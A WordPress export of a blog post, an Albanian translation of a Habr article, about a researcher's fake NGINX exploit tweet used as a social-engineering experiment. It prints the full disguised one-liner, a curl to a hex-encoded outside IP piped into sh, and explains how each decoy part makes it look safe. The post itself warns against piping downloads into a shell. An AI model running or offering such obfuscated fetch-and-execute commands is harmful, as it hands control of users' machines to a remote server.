{"id":35126,"date":"2019-10-31T22:02:28","date_gmt":"2019-10-31T19:02:28","guid":{"rendered":"https:\/\/prohoster.info\/blog\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx\/"},"modified":"2019-10-31T22:02:28","modified_gmt":"2019-10-31T19:02:28","slug":"uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sq\/blog\/administrirovanie\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","title":{"rendered":"Suksesi i eksperimentit shoq\u00ebror me eksploitin e rrem\u00eb p\u00ebr nginx","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p><i><b>Sh\u00ebn. p\u00ebrkth.<\/b>: <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/notdan\">Autori<\/a><\/noindex> N\u00eb 1 qershor, un\u00eb vendosa t\u00eb realizoj nj\u00eb eksperiment n\u00eb mesin e atyre q\u00eb jan\u00eb t\u00eb interesuar p\u00ebr sigurin\u00eb e informacionit. P\u00ebr k\u00ebt\u00eb, p\u00ebrgatita nj\u00eb eksploit t\u00eb rrem\u00eb p\u00ebr nj\u00eb dob\u00ebsi t\u00eb pa zbuluar n\u00eb nj\u00eb server web dhe e publikova n\u00eb Twitter-in tim. Parashikimet e mia \u2014 t\u00eb zbuloj menj\u00ebher\u00eb mashtrimin p\u00ebrmes kodit nga specialist\u00ebt \u2014 jo vet\u00ebm q\u00eb nuk u realizuan... Ato tejkaluan t\u00eb gjitha pritshm\u00ebrit\u00eb, n\u00eb m\u00ebnyr\u00ebn m\u00eb t\u00eb papritur: tweet-i mori mb\u00ebshtetje t\u00eb madhe nga shum\u00eb njer\u00ebz q\u00eb nuk u mor\u00ebn mundimin t\u00eb kontrollonin p\u00ebrmbajtjen e tij.<\/i><\/p>\n<p><img decoding=\"async\" alt=\"Suksesi i eksperimentit shoq\u00ebror me eksploitin e rrem\u00eb p\u00ebr nginx\" src=\"\/wp-content\/uploads\/2019\/06\/20ff08c6f541176c68ef2c689b989389.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\n<b>TL;DR: mos p\u00ebrdorni asnj\u00ebher\u00eb pipeline-in e skedar\u00ebve n\u00eb sh ose bash. Kjo \u00ebsht\u00eb nj\u00eb m\u00ebnyr\u00eb e shk\u00eblqyer p\u00ebr t\u00eb humbur kontrollin mbi kompjuterin.<\/b><noindex><a rel=\"nofollow\" name=\"habracut\"><\/a><\/noindex><\/p>\n<p>Dua t\u00eb ndaj me ju nj\u00eb histori t\u00eb vog\u00ebl p\u00ebr nj\u00eb PoC-eksploit q\u00eb u krijua m\u00eb 31 maj. Ai u publikua shpejt n\u00eb p\u00ebrgjigje t\u00eb nj\u00eb lajmi nga <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/alisaesage\">Alisa Esage Shevchenko<\/a><\/noindex>, an\u00ebtare e <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/thezdi\">Zero Day Initiative<\/a><\/noindex> (ZDI), p\u00ebr faktin se s\u00eb shpejti do t\u00eb publikohej informacion mbi nj\u00eb dob\u00ebsi n\u00eb NGINX q\u00eb rezulton n\u00eb RCE (ekzekutimin e kodit nga distanca). Duke qen\u00eb se NGINX \u00ebsht\u00eb n\u00eb baz\u00eb t\u00eb shum\u00eb faqeve web, ky lajm pritej t\u00eb kishte ndikim t\u00eb madh. Por p\u00ebr shkak t\u00eb vonesave n\u00eb procesin e 'zbardhjes s\u00eb p\u00ebrgjegjshme' t\u00eb informacionit, detajet e ngjarjes nuk ishin t\u00eb njohura - kjo \u00ebsht\u00eb procedura standarde e ZDI.<\/p>\n<p><img decoding=\"async\" alt=\"Suksesi i eksperimentit shoq\u00ebror me eksploitin e rrem\u00eb p\u00ebr nginx\" src=\"\/wp-content\/uploads\/2019\/06\/fba47177ff2a2d05db7942f229e145b0.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i><noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/alisaesage\/status\/1134400951043874816\">Tweet<\/a><\/noindex> p\u00ebr zbardhjen e dob\u00ebsis\u00eb n\u00eb NGINX<\/i><\/p>\n<p>Pas p\u00ebrfundimit t\u00eb pun\u00ebs mbi nj\u00eb teknik\u00eb t\u00eb re obfuscation n\u00eb curl, e citoja tweet-in origjinal dhe 'derdh\u00ebm PoC-in e pun\u00ebs', q\u00eb p\u00ebrb\u00ebhej nga nj\u00eb rresht kodi, q\u00eb supozohej se shfryt\u00ebzonte dob\u00ebsin\u00eb e zbuluar. Sigurisht, kjo ishte nj\u00eb marr\u00ebzi e plot\u00eb. Mendova se do t\u00eb m\u00eb kapnin menj\u00ebher\u00eb dhe se n\u00eb rastin m\u00eb t\u00eb mir\u00eb do t\u00eb merrja disa retweets (dhe ky do t\u00eb ishte rasti).<\/p>\n<p><img decoding=\"async\" alt=\"Suksesi i eksperimentit shoq\u00ebror me eksploitin e rrem\u00eb p\u00ebr nginx\" src=\"\/wp-content\/uploads\/2019\/06\/30c8394a4bd7a151828bc3459f18f2f6.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i><noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/notdan\/status\/1134559331989434368\">Tweet<\/a><\/noindex> me eksploit t\u00eb rrem\u00eb<\/i><\/p>\n<p>Megjithat\u00eb, nuk mund t\u00eb imagjinoja at\u00eb q\u00eb ndodhi m\u00eb pas. Popullariteti i tweet-it tim u rrit n\u00eb m\u00ebnyr\u00eb t\u00eb jasht\u00ebzakonshme. \u00cbsht\u00eb e \u00e7uditshme, por deri tani (15:00 MSK m\u00eb 1 qershor) ende nuk kishte shum\u00eb njer\u00ebz q\u00eb e kuptonin se ishte nj\u00eb mashtrim. Shum\u00eb e retweetojn\u00eb at\u00eb pa e verifikuar fare (pa folur p\u00ebr ta admiruar grafik\u00ebn e bukur ASCII q\u00eb ai prodhon).<\/p>\n<p><img decoding=\"async\" alt=\"Suksesi i eksperimentit shoq\u00ebror me eksploitin e rrem\u00eb p\u00ebr nginx\" src=\"\/wp-content\/uploads\/2019\/06\/a22501843edc07cf0dc49b698b1048c2.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Shikoni sa bukuri!<\/i><\/p>\n<p>Edhe pse t\u00eb gjitha k\u00ebto cikle dhe ngjyra jan\u00eb t\u00eb mrekullueshme, \u00ebsht\u00eb e qart\u00eb: p\u00ebr t'i par\u00eb ato, njer\u00ebzit ekzekutuan kodin n\u00eb makin\u00ebn e tyre. Fatmir\u00ebsisht, shfletuesit funksionojn\u00eb n\u00eb m\u00ebnyr\u00eb t\u00eb ngjashme, dhe duke marr\u00eb parasysh faktin se nuk kam nevoj\u00eb p\u00ebr probleme me ligjin, kodi i fshehur n\u00eb sitin tim thjesht b\u00ebnte thirrje echo, pa tentuar t\u00eb vendos\u00eb ose ekzekutoj\u00eb ndonj\u00eb kod shtes\u00eb.<\/p>\n<p>Nj\u00eb shk\u00ebputje e vog\u00ebl: <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/netspooky\">netspooky<\/a><\/noindex>, <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/dnoiz1\">dnz<\/a><\/noindex>, un\u00eb dhe djemt\u00eb e tjer\u00eb nga ekipi <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/thugcrowd\">Thugcrowd<\/a><\/noindex> m\u00eb kemi luajtur me m\u00ebnyra t\u00eb ndryshme p\u00ebr obfuscimin e komandave curl, sepse kjo \u00ebsht\u00eb e k\u00ebndshme... dhe ne jemi giki. netspooky dhe dnz zbuluan disa m\u00ebnyra t\u00eb reja q\u00eb m\u00eb dukeshin jasht\u00ebzakonisht premtuese. Un\u00eb u bashkova me arg\u00ebtimin dhe provoi t\u00eb shtoja konvertimet dekadike t\u00eb IP-s\u00eb n\u00eb grupin e hileve. Doli se IP-t\u00eb gjithashtu mund t\u00eb konvertohen n\u00eb formatin hex. M\u00eb shum\u00eb se kaq, curl dhe shumica e instrumenteve t\u00eb tjera NIX e pranojn\u00eb me k\u00ebnaq\u00ebsi IP-t\u00eb hex! Prandaj, duhej thjesht t\u00eb krijoja nj\u00eb linj\u00eb komandash t\u00eb besueshme dhe q\u00eb dukej e sigurt. N\u00eb fund t\u00eb fundit, ndaluam n\u00eb k\u00ebt\u00eb:<\/p>\n<pre><code class=\"plaintext\">curl -gsS https:\/\/127.0.0.1-OR-VICTIM-SERVER:443\/..\/..\/..\/\/nginx-handler?\/usr\/lib\/nginx\/modules\/ngx_stream_module.so:127.0.0.1:80:\/bin\/sh&lt;&#039;protocol:TCP&#039; -O 0x0238f06a#PLToffset |sh; nc \/dev\/tcp\/localhost<\/code><\/pre>\n<p><\/p>\n<h2>Inxhinieria socio-elektronike (S.E.E.) - m\u00eb shum\u00eb se sa phishing<\/h2>\n<p>\nSiguria dhe njohja ishin pjes\u00eb thelb\u00ebsore e k\u00ebtij eksperimenti. Mendoj se k\u00ebto e \u00e7uan n\u00eb suksesin e tij. Linja e komand\u00ebs shpesh n\u00ebnkuptonte siguri, duke iu referuar '127.0.0.1' (localhost q\u00eb njihet nga t\u00eb gjith\u00eb). Konsiderohet se localhost \u00ebsht\u00eb i sigurt, dhe t\u00eb dh\u00ebnat mbi t\u00eb kurr\u00eb nuk e l\u00ebn\u00eb kompjuterin tuaj.<\/p>\n<p>Njohja ishte komponenti i dyt\u00eb ky\u00e7 S.E.E. i eksperimentit. Duke qen\u00eb se publiku i synuar p\u00ebrb\u00ebhej kryesisht nga njer\u00ebz t\u00eb njohur me bazat e siguris\u00eb kompjuterike, ishte e r\u00ebnd\u00ebsishme t\u00eb krijohej nj\u00eb kod, pjes\u00ebt e t\u00eb cilit dukeshin t\u00eb njohura dhe t\u00eb njohura (dhe k\u00ebshtu t\u00eb sigurta). Marrja e elementeve nga konceptet e vjetra t\u00eb eksploitimit dhe kombinimi i tyre n\u00eb nj\u00eb m\u00ebnyr\u00eb t\u00eb pazakont\u00eb u tregua tep\u00ebr e suksesshme.<\/p>\n<p>M\u00eb posht\u00eb jepet nj\u00eb analiz\u00eb e detajuar e nj\u00ebsis\u00eb nj\u00eb-linj\u00eb. <i>T\u00eb gjitha n\u00eb k\u00ebt\u00eb list\u00eb jan\u00eb <b>kozmetike<\/b>, dhe p\u00ebr funksionimin e tij real nuk nevojitet pothuajse asgj\u00eb.<\/i><\/p>\n<p>Cilat jan\u00eb komponent\u00ebt q\u00eb n\u00eb t\u00eb v\u00ebrtet\u00eb nevojiten? K\u00ebto jan\u00eb <code>-gsS<\/code>, <code>-O 0x0238f06a<\/code>, <code>|sh<\/code> dhe vet serveri i uebit. Serveri i uebit nuk p\u00ebrmbante ndonj\u00eb urdh\u00ebr t\u00eb d\u00ebmsh\u00ebm, por thjesht transferonte grafik\u00eb ASCII p\u00ebrmes komandave <code>echo<\/code> n\u00eb skriptin, q\u00eb p\u00ebrmban <code>index.html<\/code>. Kur p\u00ebrdoruesi kishte futur nj\u00eb varg me <code>|sh<\/code> n\u00eb mes, <code>index.html<\/code> u ngarkua dhe u ekzekutua. Fatmir\u00ebsisht, ruajt\u00ebsit e serverit t\u00eb uebit nuk kishin q\u00ebllime t\u00eb k\u00ebqija.<\/p>\n<ul>\n<li> <code>..\/..\/..\/%00<\/code> \u2014 paraqet daljen p\u00ebrtej drejtoris\u00eb;<\/li>\n<li> <code>ngx_stream_module.so<\/code> \u2014 rruga p\u00ebr nj\u00eb modul rast\u00ebsor NGINX;<\/li>\n<li> <code>\/bin\/sh%00&lt;'protocol:TCP'<\/code> \u2014 ne supozojm\u00eb se e nisim <code>\/bin\/sh<\/code> n\u00eb makin\u00ebn e synuar dhe redirektojm\u00eb daljen n\u00eb kanalin TCP;<\/li>\n<li> <code>-O 0x0238f06a#PLToffset<\/code> \u2014 p\u00ebrb\u00ebr\u00ebsi sekret, i shtuar <code>#PLToffset<\/code>, q\u00eb duket si nj\u00eb offset i memorjes, ndonj\u00ebher\u00eb i p\u00ebrfshir\u00eb n\u00eb PLT;<\/li>\n<li> <code>|sh;<\/code> \u2014 nj\u00eb cop\u00eb tjet\u00ebr e r\u00ebnd\u00ebsishme. Ne duhej t\u00eb redirektonim daljen n\u00eb sh\/bash, p\u00ebr t\u00eb ekzekutuar kodin q\u00eb vjen nga serveri i uebit t\u00eb sulmuesit, i vendosur n\u00eb <code>0x0238f06a<\/code> (<code>2.56.240.x<\/code>);<\/li>\n<li> <code>nc \/dev\/tcp\/localhost<\/code> \u2014 nj\u00eb boshll\u00ebk, ku netcat i referohet <code>\/dev\/tcp\/localhost<\/code>, p\u00ebr t\u00eb b\u00ebr\u00eb q\u00eb gjith\u00e7ka t\u00eb duket e sigurt p\u00ebrs\u00ebri. N\u00eb t\u00eb v\u00ebrtet\u00eb, nuk b\u00ebn asgj\u00eb dhe \u00ebsht\u00eb p\u00ebrfshir\u00eb n\u00eb varg p\u00ebr t\u00eb dukur bukur.<\/li>\n<\/ul>\n<p>\nK\u00ebtu p\u00ebrfundon dekodimi i skriptit nj\u00eb-linj\u00eb dhe diskutimi i aspekteve t\u00eb \u00abinxhinieris\u00eb socio-elektronike\u00bb (p\u00ebrdorimi interesant i phishing-ut).<\/p>\n<h2>Konfigurimi i serverit t\u00eb uebit dhe masat e kund\u00ebrshtimit<\/h2>\n<p>\nDuke marr\u00eb parasysh se shumica d\u00ebrrmuese e ndjek\u00ebsve t\u00eb mi jan\u00eb ekspert\u00eb t\u00eb siguris\u00eb \/ hackers, vendosa ta b\u00ebj serverin e uebit disi m\u00eb t\u00eb q\u00ebndruesh\u00ebm ndaj manifestimeve t\u00eb \u00abinteresit\u00bb nga ana e tyre vet\u00ebm q\u00eb djemt\u00eb t\u00eb kishin di\u00e7ka p\u00ebr t\u00eb b\u00ebr\u00eb (dhe po ashtu ishte arg\u00ebtuese ta konfiguroja). Nuk do ta rendit t\u00ebr\u00eb grackat k\u00ebtu, pasi eksperimentimi vazhdon, por ja disa gj\u00ebra q\u00eb serveri b\u00ebn:<\/p>\n<ul>\n<li> Aktivisht monitoron p\u00ebrpjekjet p\u00ebr shp\u00ebrndarje n\u00eb rrjete t\u00eb caktuara sociale dhe fut miniatura t\u00eb ndryshme t\u00eb parapamjes, p\u00ebr t\u00eb nxitur p\u00ebrdoruesin t\u00eb klikoj\u00eb n\u00eb lidhje.<\/li>\n<li> Redirekton Chrome \/ Mozilla \/ Safari etj. n\u00eb nj\u00eb video promocionale Thugcrowd n\u00eb vend t\u00eb shfaqjes s\u00eb skriptit shell.<\/li>\n<li> V\u00ebzhgon shenjat KUND\u00cbR evident t\u00eb sulmeve \/ marr\u00ebdh\u00ebnieve t\u00eb egra, pastaj fillon t\u00eb redirektoj\u00eb k\u00ebrkesat n\u00eb server\u00ebt e NSA (ha!).<\/li>\n<li> Instalon nj\u00eb trojan, si dhe nj\u00eb BIOS rootkit n\u00eb t\u00eb gjitha kompjuter\u00ebt, p\u00ebrdoruesit e t\u00eb cil\u00ebve vizitojn\u00eb hostin me nj\u00eb shfletues normal (shaka!).<\/li>\n<\/ul>\n<p>\n<img decoding=\"async\" alt=\"Suksesi i eksperimentit shoq\u00ebror me eksploitin e rrem\u00eb p\u00ebr nginx\" src=\"\/wp-content\/uploads\/2019\/06\/8ea3f0c6e2e303bef6f9ba73370d6cf1.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Nj\u00eb pjes\u00eb e vog\u00ebl anti-mir\u00eb<\/i><\/p>\n<p>N\u00eb k\u00ebt\u00eb rast, q\u00ebllimi im i vet\u00ebm ishte t\u00eb eksploroja disa mund\u00ebsi t\u00eb Apache \u2014 n\u00eb ve\u00e7anti, rregullat e mrekullueshme p\u00ebr redirektimin e k\u00ebrkesave \u2014 dhe mendova: pse jo?<\/p>\n<h2>Eksploit NGINX (i v\u00ebrtet\u00eb!)<\/h2>\n<p>\nAbonohuni te <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/alisaesage\">@alisaesage<\/a><\/noindex> N\u00eb Twitter dhe ndiqni pun\u00ebn e mrekullueshme t\u00eb ZDI n\u00eb eliminimin e dob\u00ebsive reale dhe mund\u00ebsive p\u00ebr eksploitim n\u00eb NGINX. Puna e tyre gjithmon\u00eb m\u00eb ka mahnitur dhe jam mir\u00ebnjoh\u00ebs ndaj Alis\u00ebs p\u00ebr durimin e saj lidhur me t\u00eb gjith\u00eb p\u00ebrmendjet dhe njoftimet q\u00eb rezultuan nga twiti im t\u00eb marr\u00eb. Fatmir\u00ebsisht, ky tweet solli disa p\u00ebrfitime: ndihmoi n\u00eb rritjen e nd\u00ebrgjegj\u00ebsimit p\u00ebr dob\u00ebsit\u00eb e NGINX, si dhe p\u00ebr problemet q\u00eb shkaktohen nga keqardhja e curl'it.<br \/>\n<br \/>Burimi: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/454700\/\">habr.com<\/a><\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u041f\u0440\u0438\u043c. \u043f\u0435\u0440\u0435\u0432.: \u0410\u0432\u0442\u043e\u0440 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u043c\u0435\u0442\u043a\u0438, \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u043e\u0439 1 \u0438\u044e\u043d\u044f, \u0440\u0435\u0448\u0438\u043b \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442 \u0432 \u0441\u0440\u0435\u0434\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u044e\u0449\u0438\u0445\u0441\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043e\u043d \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u043b \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043a \u043d\u0435\u0440\u0430\u0441\u043a\u0440\u044b\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438 \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u043b \u0435\u0433\u043e \u0432 \u0441\u0432\u043e\u0451\u043c \u0442\u0432\u0438\u0442\u0442\u0435\u0440\u0435. \u0415\u0433\u043e \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u2014 \u0431\u044b\u0442\u044c \u043c\u0433\u043d\u043e\u0432\u0435\u043d\u043d\u043e \u0440\u0430\u0437\u043e\u0431\u043b\u0430\u0447\u0451\u043d\u043d\u044b\u043c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u0430\u043c\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0443\u0432\u0438\u0434\u044f\u0442 \u043e\u0447\u0435\u0432\u0438\u0434\u043d\u044b\u0439 \u043e\u0431\u043c\u0430\u043d \u0432 \u043a\u043e\u0434\u0435, \u2014 \u043d\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0435 \u043e\u043f\u0440\u0430\u0432\u0434\u0430\u043b\u0438\u0441\u044c\u2026 \u041e\u043d\u0438 \u043f\u0440\u0435\u0432\u0437\u043e\u0448\u043b\u0438 \u0432\u0441\u0435 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f, [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":26410,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[688],"tags":[],"class_list":["post-35126","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-administrirovanie"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.2.1 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u041f\u0440\u0438\u043c.\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Yuri Gagarin\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/prohoster.info\/sq\/blog\/administrirovanie\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx\" \/>\n\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.2.1\" \/>\n\t\t<meta property=\"og:locale\" content=\"sq_AL\" \/>\n\t\t<meta property=\"og:site_name\" content=\"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"\ud83e\udd47\u0423\u0441\u043f\u0435\u0445 \u0441\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 \u0441 \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u043c \u0434\u043b\u044f nginx | ProHoster\" \/>\n\t\t<meta property=\"og:description\" content=\"\u041f\u0440\u0438\u043c.\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/prohoster.info\/sq\/blog\/administrirovanie\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:width\" content=\"350\" \/>\n\t\t<meta property=\"og:image:height\" content=\"350\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2019-10-31T19:02:28+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2019-10-31T19:02:28+00:00\" \/>\n\t\t<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"\ud83e\udd47Suksesi i eksperimenti social me eksploit t\u00eb rrem\u00eb p\u00ebr nginx | ProHoster","description":"Sh\u00ebn.","canonical_url":"https:\/\/prohoster.info\/sq\/blog\/administrirovanie\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"sq_AL","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0423\u0441\u043f\u0435\u0445 \u0441\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 \u0441 \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u043c \u0434\u043b\u044f nginx | ProHoster","og:description":"\u041f\u0440\u0438\u043c.","og:url":"https:\/\/prohoster.info\/sq\/blog\/administrirovanie\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2019-10-31T19:02:28+00:00","article:modified_time":"2019-10-31T19:02:28+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"35126","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":"2026-01-21 21:57:20","breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-02-28 22:59:48","updated":"2026-01-21 21:57:20","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts\/35126","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/comments?post=35126"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts\/35126\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/media\/26410"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/media?parent=35126"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/categories?post=35126"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/tags?post=35126"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}